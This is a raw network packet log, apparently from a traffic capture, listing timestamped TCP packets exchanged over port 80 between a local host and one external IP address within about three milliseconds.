Nov 20, 2024 07:48:08.902101040 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902108908 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902117014 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902127981 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902134895 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902136087 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902151108 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902153969 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902168036 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902174950 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902184010 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902189016 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902199984 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902206898 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902215004 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902220964 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902230978 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902235985 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902245998 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902252913 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902261972 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902268887 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902276993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902282953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902292967 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902298927 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902309895 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902313948 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902328014 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902331114 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902343988 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902343988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902359962 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902359962 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902375937 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902379036 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902391911 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902393103 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902407885 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902407885 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902424097 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902435064 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902445078 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902455091 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902462006 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902467012 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902477026 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902487040 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902492046 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902503967 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902507067 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902518034 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902523994 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902530909 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902539968 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902548075 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902555943 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902563095 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902570009 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902579069 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902585030 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902595043 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902600050 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902610064 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902616978 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902625084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902642012 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902643919 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902658939 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902658939 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902674913 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902689934 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902689934 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902704000 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902708054 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902721882 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902729988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902729988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902738094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902744055 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902753115 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902760029 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902767897 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902776003 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902789116 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902795076 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902805090 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902820110 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902834892 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902834892 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902851105 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902863026 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902867079 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902874947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902883053 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902888060 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902896881 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902904034 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902913094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902919054 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902930021 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902935028 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902951956 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902956009 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902965069 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.902971983 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902987003 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.902996063 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903002977 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903011084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903018951 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903027058 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903037071 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903040886 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903053045 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903053999 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903069019 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903069973 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903084040 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903086901 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903100014 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903101921 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903115034 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903115988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903127909 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903130054 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903146982 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903148890 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903162003 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903162003 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903176069 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903177023 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903192043 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903203011 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903207064 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903215885 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903230906 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903239965 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903255939 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903266907 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903269053 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903284073 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903290033 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903301954 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903307915 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903318882 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903345108 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903348923 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903364897 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903378963 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903384924 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903394938 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903402090 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903414965 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903417110 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903429985 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903433084 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903448105 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903449059 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903464079 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903470993 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903479099 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903486967 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903493881 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903502941 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903507948 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903515100 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903523922 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903528929 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903541088 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903544903 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903557062 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903561115 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903572083 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903577089 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903588057 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903594017 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903603077 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903608084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903619051 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903624058 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903639078 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903640032 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903655052 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903667927 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903681993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903692007 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903697014 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903703928 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903712034 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903717041 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903728962 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903733015 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903743982 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903748989 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903759956 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903762102 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903775930 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903780937 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903793097 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903795004 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903808117 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903811932 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903825045 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903829098 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903841019 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903845072 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903856993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903858900 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903872013 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903872967 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903887033 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903887987 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903901100 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903903008 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903918982 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903922081 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903934002 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903938055 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903949976 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903954029 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903964996 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903969049 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903980970 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903983116 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.903995991 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.903997898 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904011965 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904012918 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904026985 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904031038 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904042006 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904042959 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904058933 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904069901 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904073954 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904088020 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904088974 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904105902 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904113054 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904123068 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904133081 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904139042 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904155016 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904155016 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904162884 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904170036 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904182911 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904186010 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904200077 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904201031 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904206991 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904216051 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904227018 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904232979 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904242992 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904247999 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904249907 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904263973 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904279947 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904279947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904279947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904294968 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904294968 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904309988 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904309988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904325008 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904330969 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904340029 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904340982 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904356003 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904366970 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904371023 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904375076 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904386997 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904390097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904402971 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904412031 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904417038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904429913 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904432058 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904437065 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904448986 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904459953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904464006 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904473066 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904479027 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904489040 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904495001 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904503107 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904510975 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904520035 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904526949 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904531956 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904544115 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904547930 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904560089 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904568911 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904577017 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904583931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904592037 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904603958 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904608011 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904616117 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904627085 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904629946 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904647112 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904665947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904829979 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904880047 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.904983997 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.904999971 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905014038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905026913 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905033112 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905035973 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905056953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905059099 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905070066 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905075073 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905093908 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905101061 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905108929 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905117989 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905128002 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905134916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905139923 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905150890 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905167103 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905179977 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905180931 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905189037 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905199051 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905208111 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905214071 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905221939 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905227900 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.905231953 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905250072 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.905253887 CET	49730	80	192.168.2.4	62.204.41.163
